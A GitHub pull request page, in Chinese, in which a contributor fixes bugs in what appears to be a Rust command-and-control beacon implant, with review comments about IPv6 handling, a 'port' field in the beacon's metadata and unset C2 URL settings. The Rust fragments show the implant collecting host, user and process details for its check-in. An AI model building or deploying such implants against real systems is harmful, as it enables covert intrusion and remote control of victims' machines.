修改了小bug #10
Merged
修改了小bug #10
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
b1tg
reviewed
Aug 5, 2024
Cargo.toml
Outdated
| hmac = "0.12.1" | ||
| encoding_rs = "0.8" |
b1tg
reviewed
Aug 5, 2024
src/main.rs
Outdated
| @@ -263,7 +266,7 @@ fn main() { | |||
| Some("macOS") => beacon.linux_collect_info(), | |||
| _ => beacon.linux_collect_info(), | |||
| } | |||
| .unwrap_or_else(|_| panic!("collect info error")); | |||
| .unwrap_or_else(|_| panic!("collect info error")); | |||
b1tg
reviewed
Aug 5, 2024
src/main.rs
Outdated
| println!("local_ip: {}", local_ip); | ||
| let mut ip_bytes = match local_ip { | ||
| IpAddr::V4(ipv4) => ipv4.octets().to_vec(), | ||
| IpAddr::V6(ipv6) => ipv6.octets().to_vec(), |
There was a problem hiding this comment.
这里如果拿到的是 ipv6，后面的字节数就不止4个了，可能会有潜在问题。如果是 ipv6 就打印个日志然后默认用127.0.0.1 吧
对代码进行了格式化，增加了错误处理
|
已进行修改 |
b1tg
reviewed
Aug 8, 2024
| let os_info = format!("{}\t{}\t{}", &host_name, &user_name, &process_name).into_bytes(); | ||
| let locale_ansi = 936u16; | ||
| let locale_oem = 936u16; | ||
| let online_info = [ | ||
| &self.id.to_be_bytes()[..], | ||
| &process_id.to_be_bytes()[..], | ||
| &port.to_be_bytes()[..], |
There was a problem hiding this comment.
这个 port 是做什么的？为了适配某个版本吗，还是有什么别的用途？我看它也没有被赋值
There was a problem hiding this comment.
There was a problem hiding this comment.
4.5的，我看windows部分的提交者也在他博客说这个问题了
https://808mak1r.com/posts/19d1f7ce/
|
啊，构建失败了，我明天看看怎么回事😇😇 |
|
诶，不对呀，这个报错是因为profile.rs里面C2_GET_URL，C2_POST_URL没填写导致的，这个值应该是由项目里的python脚本填写的，所以如果我在pr中填写了这两个变量的值会不会影响python脚本的工作 |
|
另外附上windows版本下ip地址修改前后图，原来在linux下应该是没问题的，windows有问题 |
|
谢谢你的PR @fdx-xdf |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
更改了windows下meta_info的小错误（port），适配了获取内网ip地址
这次应该ok了 （T﹏T）